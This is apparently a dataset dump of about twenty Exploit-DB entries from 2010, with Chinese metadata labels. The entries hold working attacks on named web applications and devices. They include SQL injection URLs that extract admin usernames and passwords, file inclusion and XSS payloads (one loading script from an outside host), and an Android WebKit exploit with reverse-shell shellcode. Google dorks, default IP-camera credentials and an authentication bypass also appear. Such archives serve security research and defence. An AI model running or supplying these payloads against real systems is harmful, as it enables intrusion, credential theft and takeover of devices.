QLWD/code_shield huggingface dataset:
标题: AuraCMS 1.62 - 'pfd.php' SQL Injection EDB-ID: 15594 CVE: 2010-4774 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-22 漏洞利用脚本: -----------------------------------------------------------------------
AuraCMS (pfd.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  : Arianom (arianom@indonesiancoder.com)
Homepage : http://indonesiancoder.com
Vendor  : http://www.auracms.org/
Software : AuraCMS Mod Block Statistik | http://iwan.or.id/download/lihat/1/2-1-6.html
Version  : 1.62
Date  : November 22, 2010
-----------------------------------------------------------------------



I.  POC & Exploit
-----------------------------------------------------------------------
http://localhost/pdf.php?id=140+AND+1=2+UNION+SELECT+ind0nesianc0der,1,2,3,4,5,6,7

II. Refrence
-----------------------------------------------------------------------
AuraCMS 1.62 (stat.php) Remote Code Execution Exploit  : http://www.exploit-db.com/exploits/4933/

III. Vendor patch
-----------------------------------------------------------------------
Currently manufacturers do not provide patches or upgrades.

IV. Credits
-----------------------------------------------------------------------
Allahu Akbar
INDONESIAN CODER ~ Kill-9 Crew ~ MC Crew 
Don Tukulesto ~ kaMtiEz ~ ibl13z ~ N4ck0 ~ Yurakha ~ aN93l1c ~  Mboys ~ Contrex ~  n4KuLa_ 
k4L0ng666 ~ Xr0b0t ~ kido ~ t3ll0 ~ cimpli ~ Pathloader

V. Poem
-----------------------------------------------------------------------
Kami adalah manusia biasa yang gemar belajar.
Kami suka mempelajari hal apa saja, termasuk sesuatu yang menurut orang lain aneh atau asing bagi mereka.
Kami disini hanya ingin berbagi, bukan untuk bersaing.

Indonesian Coder Family URL: https://www.exploit-db.com/exploits/15594
标题: S_CMS 2.5 - Multiple Vulnerabilities EDB-ID: 15588 CVE: 2010-4772 2010-4771 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-20 漏洞利用脚本: # ============================================================
# Exploit Title: S-CMS Multiple Vuln
# Date: 14/11/2010
# Author: LordTittiS
# Greetings To: God_Of_Pain, System_Overide
# Software Link: http://www.matteoiammarrone.com
# http://www.matteoiammarrone.com/public/s-cms/
# Vulnerability Type: Full Path Disclosure / SQL Injection / Cross Site Scripting
# Version: 2.5
# =========================================================== 
-Vulnerability Details:The vulnerability is in the file search.php, the variable search_app is vulnerable.An attacker can exploit this to find out the rootpath of website or for SQLi attack. -Google Dork: inurl:viewforum.php?id= S-Cms
-Exploit: 
http://server/s-cms/viewforum.php?id='1 (FPD)

http://server/s-cms/viewforum.php?id=1+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7+from+cms_users-- (SQLi)
http://server/s-cms/viewforum.php?id='1%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E (XSS) URL: https://www.exploit-db.com/exploits/15588
标题: Joomla! Component Jimtawl 1.0.2 - Local File Inclusion EDB-ID: 15585 CVE: 2010-4769 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-20 漏洞利用脚本: -----------------------------------------------------------------------
     Joomla Component (com_jimtawl) LFI Vulnerability
-----------------------------------------------------------------------

Author      : Mask_magicianz
Date        : November, 20/2010
Location    : Medan, Indonesia
Time Zone   : GMT +7:00
Application : Package Jimtawl
Dork         : com_jimtawl
Contact     : Mask_magicianz[at]yahoo[dot]com
http://extensions.joomla.org/extensions/multimedia/streaming-a-broadcasting/audio-broadcasting/4344
_______________________________________________________________________

http://127.0.0.1/index.php?option=com_jimtawl&Itemid=12&task=[LFI]
http://127.0.0.1/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00


_______________________________________________________________________

Thanks to : All RosebanditZ Team & All IndonesiaCoder
_______________________________________________________________________ URL: https://www.exploit-db.com/exploits/15585
标题: DVD Rental Software - SQL Injection EDB-ID: 15578 CVE: 2010-4770 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-19 漏洞利用脚本: # Exploit Title: DVD Rental Software SQL injection Vulnerability
# Date: 19/11/2010
# Author: JaMbA
# Team: SwT
#Script url: http://www.commodityrentals.com/dvd.php
# Version: N/A
# Tested on: Demo
# CVE : ()
###################################################################################



#########################[ EXPL0!T ]#########################


http://server/path/index.php?view=catalog&item_type=M&cat_id=-18+union+select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+rental_admin--



#############################SwT 4
Ever##############################################


GreeTz: SwT Member - ZaTTalova - Med Amine SaSsi - Raouf Matmati - Rami Bof
- Mr adnen smii - Mr zied becher

Dj Dj City Up Up :) URL: https://www.exploit-db.com/exploits/15578
标题: Google Android 2.0/2.1 - Use-After-Free Remote Code Execution on Webkit EDB-ID: 15548 CVE: 2010-1807 类型: REMOTE 平台: ANDROID 发布日期: 2010-11-15 漏洞利用脚本: # Exploit Title: Android 2.0/2.1 Use-After-Free Remote Code Execution on
Webkit
# Date: 14/11/2010
# Author: Itzhak Avraham, mj
# Tested on: Droid 2.1
# CVE : CVE-2010-1807


*Better exploit (better rate and more flexible for changes, also shorter
shellcode) than what you have, plus, it's also verified. Enjoy!
More details at : *
http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html*


<html>
<head>
<script>
//This code is only for security researches/teaching purposes,use at your own risk!

// bug   =  webkit remote code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
//patched=  android 2.2, some said it works on some devices with 2.2.
//originally noticed/written by mj(good job man!)
//new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - http://imthezuk.blogspot.com

var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
//var ip = e.g: unescape("\u000a\u0202"); //ip = 10.0.2.2

function trigger()
        {
  var span = document.createElement("div");
  document.getElementById("BodyID").appendChild(span);
  span.innerHTML = -parseFloat("NAN(ffffe00572c60)"); //trigger use-after-free
        }
function exploit()
        {    
 var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping
 do
 {
  nop+=nop;
 } while (nop.length<=0x1000);
        var scode = nop+unescape("\u1001\ue1a0\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
 scode += port;
 scode += ip;
 scode += unescape("\u2000\u2000");
        target = new Array();
        for(i = 0; i < 0x1000; i++)
           target[i] = scode;
        for (i = 0; i <= 0x1000; i++)
        {
         document.write(target[i]+"<i>");
                if (i>0x999)
         {
          trigger();
         }
        }
}
</script>
</head>
<body id="BodyID">
Enjoy!
<script>
 exploit();
</script>
</body>
</html>

Twitter account : @ihackbanme URL: https://www.exploit-db.com/exploits/15548
标题: BSI Advance Hotel Booking System 1.0 - SQL Injection EDB-ID: 15531 CVE: 2010-4814 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-14 漏洞利用脚本: -----------------------------------------------------------------------
PHP BSI Advance Hotel Booking System v1.0 SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : November, 14-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
Application : PHP BSI Advance Hotel Booking System
Version  : 1.0
Vendor   : http://www.bestsoftinc.com/

Exploit & p0c
_____________

-9999+union+all+select+1,group_concat(username,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+bsi_adhsdgsvfe--

http://127.0.0.1/[path]/index1.php?page=[SQLi]
http://127.0.0.1/[path]/index1.php?page=-9999+union+all+select+1,group_concat(username,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+bsi_adhsdgsvfe--

ShoutZ
______

All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :) URL: https://www.exploit-db.com/exploits/15531
标题: Pre Online Tests Generator Pro - SQL Injection EDB-ID: 15526 CVE: 2010-4776 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-13 漏洞利用脚本: In The Name Of GOD
[+] Exploit Title: Pre Online Tests Generator Pro SQL Injection Vulnerability
[+] Date: 2010-11-13
[+] Author  : Cru3l.b0y
[+] Software Link: http://www.preproject.com/preexampro.asp
[+] Price : 95.00$
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit : 

             http://target/path/takefreestart.php?tid=242&tid2=-1+union+select+1,2,3,group_concat(user_name,0x3a,user_pass),5,6,7,8+from+admin--&nxtq=true&q_no=1

[+] Admin Page: /admin URL: https://www.exploit-db.com/exploits/15526
标题: Chameleon Social Networking Software - Persistent Cross-Site Scripting EDB-ID: 15543 CVE: 2010-4366 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-15 漏洞利用脚本: # Exploit Title: AbleDating script 2010 Critical XSS Vulnerability 
# Date: 15.11.2010 
# Author: Dr-mosta 
# Category: webapps/0day 
# Script url: http://www.abk-soft.com/matchmaking_software_demo.html 
# Version: N/A 
# Tested on: 
# CVE :   

      [ EXPL0!T ] 

IL vaut faut inscrire au site apres aller a la partie forum ou par le 
lien  : www.sitevictim.com/forum.php
aper essais de choisir un category et essais de cree un Sujet dans le forum
vous pouvez ajouté votre code xss das le titre de Poster  ou Description ou Message

Exemple exploit code :

“><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><”

Exploit 2:

IL vaut faut inscrire au site apres l'Exploit :
(vuln): server/events_event_edit.php?events_event_edit.php?event_private=1&date=[XSS]
 
Exemple exploit code :

server/events_event_edit.php?event_private=1&date=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E%20%3Cinput%20style=%22visibility:%20visible;%22%20class=%22inp_lblack%20no_abk%20hasDatepicker%22%20id=%22event_date%22%20autocomplete=%22off%22%20name=%22event_date%22%20value=%2212-15-2010

      Greetz = TeaM MostA , exploit-db.com 

Good Luck . URL: https://www.exploit-db.com/exploits/15543
标题: OneOrZero AIms 2.6.0 Members Edition - Multiple Vulnerabilities EDB-ID: 15519 CVE: 2010-4835 2010-4834 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-13 漏洞利用脚本: [:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = OneOrZero AIMS v2.6.0 Members Edition Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = OneOrZero AIMS
Vendor = OneOrZero
Vendor Website = http://oneorzero.com/
Affected Version(s) = 2.6.0


Hint: The vulnerabilities can only be seen if you are logged in. 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
Multiple scripts and parameters are affected by remote SQL injection vulnerabilities.
You can also manipulate SQL queries with the help of various search fields of this
web app.

Some example URLs:
index.php?controller=app_oneorzerohelpdesk_main&subcontroller=search_management_manage&option=saved_search&global=1&id=[SQL Injection]
index.php?controller=app_oneorzerohelpdesk_main&subcontroller=search_management_manage&option=show_item_search&item_types=[SQL Injection]


>> Local File Inclusion
index.php?controller=[LFI]&subcontroller=app_oneorzerotimemanager_manage&option=show_report
This vulnerability can be tricky to exploit. If OpenBaseDir is set, you can at least
view files in the directory of this web software.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 13.11.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/15519
标题: Web Wiz NewsPad Express Edition 1.03 - Database File Disclosure EDB-ID: 15544 CVE: 2009-5019 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-15 漏洞利用脚本: =============================================================
NewsPad Database Download Vulnerability

=============================================================

#############################################################

#

# Exploit Title: NewsPad Database Download Vulnerability

# Date: 15/11/2010

# Author: keracker

# Software Link: www.webwiz.co.uk/webwiznewspad/downloads.asp

# Tested on: windows

# dork : "NewsPad Admin Login"

# Contact: h4m3d_68@yahoo.com ~ Black.hat.tm@gmail.com

#

############################################################

exploit # www.target.com/path/database/NewsPad.mdb


############################################################

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

      WE ARE BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ keracker URL: https://www.exploit-db.com/exploits/15544
标题: Webmatic - 'index.php' SQL Injection EDB-ID: 15517 CVE: 2010-4808 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-13 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
            Webmatic (index.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : November, 13-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00

Application : Webmatic
Vendor   : http://www.webmatic.it/it/
Google Dork : "Powered by Webmatic" inurl:index.php?lng=it&p=


Exploit
_______
 
-9999+union+all+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18--

http://site/[path]/index.php?lng=it&p=-9999+union+all+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18--


ShoutZ
______
All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :) URL: https://www.exploit-db.com/exploits/15517
标题: Camtron CMNC-200 IP Camera - Undocumented Default Accounts EDB-ID: 15507 CVE: 2010-4233 类型: WEBAPPS 平台: HARDWARE 发布日期: 2010-11-13 漏洞利用脚本: Finding 4: Undocumented Default Accounts
CVE: CVE-2010-4233

The CMNC-200 IP Camera has undocumented default
accounts on its Linux operating system. These accounts can
be used to login via the cameras telnet interface, which
cannot be normally disabled. The usernames and passwords are
listed below.

User: root     Password: m
User: mg3500   Password: merlin

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation. URL: https://www.exploit-db.com/exploits/15507
标题: WordPress Plugin Event Registration 5.32 - SQL Injection EDB-ID: 15513 CVE: 2010-4839 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-13 漏洞利用脚本: [ Wordpress Event Registration SQL injection ]
# Author: k3m4n9i
# Homepage: http://alko.web.id/
# Date: 13 November, 2010

[ Software Information ]
[+] Vendor : http://edgetechweb.com/
[+] Software Link: http://wordpress.org/extend/plugins/event-registration/
[+] Version: 5.32 or lower

[ Proof of Concept ]

[-] Vulnerable File
http://server/events/?regevent_action=register&event_id=[gotcha]

[-] Xpl
%20union%20select%201,group_concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20wp_users-- URL: https://www.exploit-db.com/exploits/15513
标题: AWCM 2.1 Final - Remote File Inclusion EDB-ID: 15510 CVE: 2010-4810 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-13 漏洞利用脚本: [+]Exploit Title: [awcm v2.1 final Remote File Inclusion]
[+]Date: [13-11-2010]
[+]Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.1]
[+]CVE :I'M IRaQi ~ Hacker town of Musayyib
[+]Contact: LoSt.HaCkEr[at]yahoo[dot]com ~0r~ LoSt.HaCkEr[at]HaCkEr.ps
http://sourceforge.net/projects/awcm/files/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+]Exploit: http://target/awcm v2.1 final/awcm/includes/window_top.php?theme_file=[ShELL]
[+]Exploit: http://target/awcm v2.1 final/awcm/control/common.php?lang_file=[ShELL]
[+]Exploit: http://target/awcm v2.1 final/awcm/header.php?theme_file=[EV!L] 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetings:  No Greet  !_! URL: https://www.exploit-db.com/exploits/15510
标题: Joomla! Component JSupport 1.5.6 - Cross-Site Scripting EDB-ID: 15501 CVE: 2010-4837 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-12 漏洞利用脚本: # Exploit Title: Joomla Component com_jsupport Critical XSS Vulnerability
# Date: 12.11.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.5.6
# Tested on:
# CVE :  
# Code : 

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_jsupport Critical XSS Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org

[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JSupport
Vendor = Extension Depot
Vendor Website = http://www.extensiondepot.com/extensions/jsupport.html
Affected Version(s) = 1.5.6
 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> Critical XSS Vulnerability
The component allows you to create and submit tickets. The tickets can be viewed
on the website and in the admin panel.

It is possible to inject arbitrary HTML and JS/VBS code into the title field of the
ticket. If someone else views the ticket list, the code gets executed in the
visitor's browser.

This vulnerability is considered as critical since the tickets are also displayed
in the administrator backend of Joomla. As soon as a user with extended priviledges
views the ticket list in the backend, the code gets executed and damage can be caused.

Example code for the ticket title field:
"><IMG """><SCRIPT>alert("XSS")</SCRIPT>

[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 12.11.2010

[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com

[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/15501
标题: Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow EDB-ID: 15504 CVE: 2010-4230 类型: DOS 平台: HARDWARE 发布日期: 2010-11-13 漏洞利用脚本: Finding 1: Buffer Overflow in ActiveX Control
CVE: CVE-2010-4230

The CMNC-200 IP Camera ActiveX control identified by
CLSID {DD01C8CA-5DA0-4B01-9603-B7194E561D32} is vulnerable
to a stack overflow on the first argument of the connect method.
The vulnerability can be used to set the EIP register,
allowing a reliable exploitation.

The example code below triggers the vulnerability.

<html>
<head><title>IPcam POC</title>
<script>
function Check(){
    var bf1 = 'A';
    while (bf1.length <= 6144) bf1 = bf1 + 'A';
    obj.connect(bf1,"BBBB","CCCC");
}
</script>
</head>
<body onload=" Check();">
<object classid="clsid:DD01C8CA-5DA0-4B01-9603-B7194E561D32"
id="obj">
</object>
</html></body>

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation. URL: https://www.exploit-db.com/exploits/15504
标题: Camtron CMNC-200 IP Camera - Authentication Bypass EDB-ID: 15506 CVE: 2010-4232 类型: WEBAPPS 平台: HARDWARE 发布日期: 2010-11-13 漏洞利用脚本: Finding 3: Web Based Administration Interface Bypass
CVE: CVE-2010-4232

The CMNC-200 IP Camera has an administrative web
interface that does not handle authentication properly.
Using a properly formatted request, an attacker can bypass
the authentication mechanism.

The first example requires authentication:
http://www.ipcamera.com/system.html

When a second forward slash is placed after the hostname,
authentication is not required.
http://www.ipcamera.com//system.html

This vulnerability allows an attacker to take full control of
the IP Camera.

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation. URL: https://www.exploit-db.com/exploits/15506
标题: Joomla! Component JSupport 1.5.6 - SQL Injection EDB-ID: 15502 CVE: 2010-4838 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-12 漏洞利用脚本: # Exploit Title: Joomla Component com_jsupport SQL Injection Vulnerability
# Date: 12.11.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.5.6
# Tested on:
# CVE :  
# Code : 

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_jsupport SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org

[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JSupport
Vendor = Extension Depot
Vendor Website = http://www.extensiondepot.com/extensions/jsupport.html
Affected Version(s) = 1.5.6
 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
This vulnerability can be found by viewing the component in the Joomla administrator
backend.

Examples:
administrator/index.php?option=com_jsupport&task=listTicketsα=[SQL Injection]
administrator/index.php?option=com_jsupport&task=listFaqsα=[SQL Injection]

[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 12.11.2010

[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com

[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/15502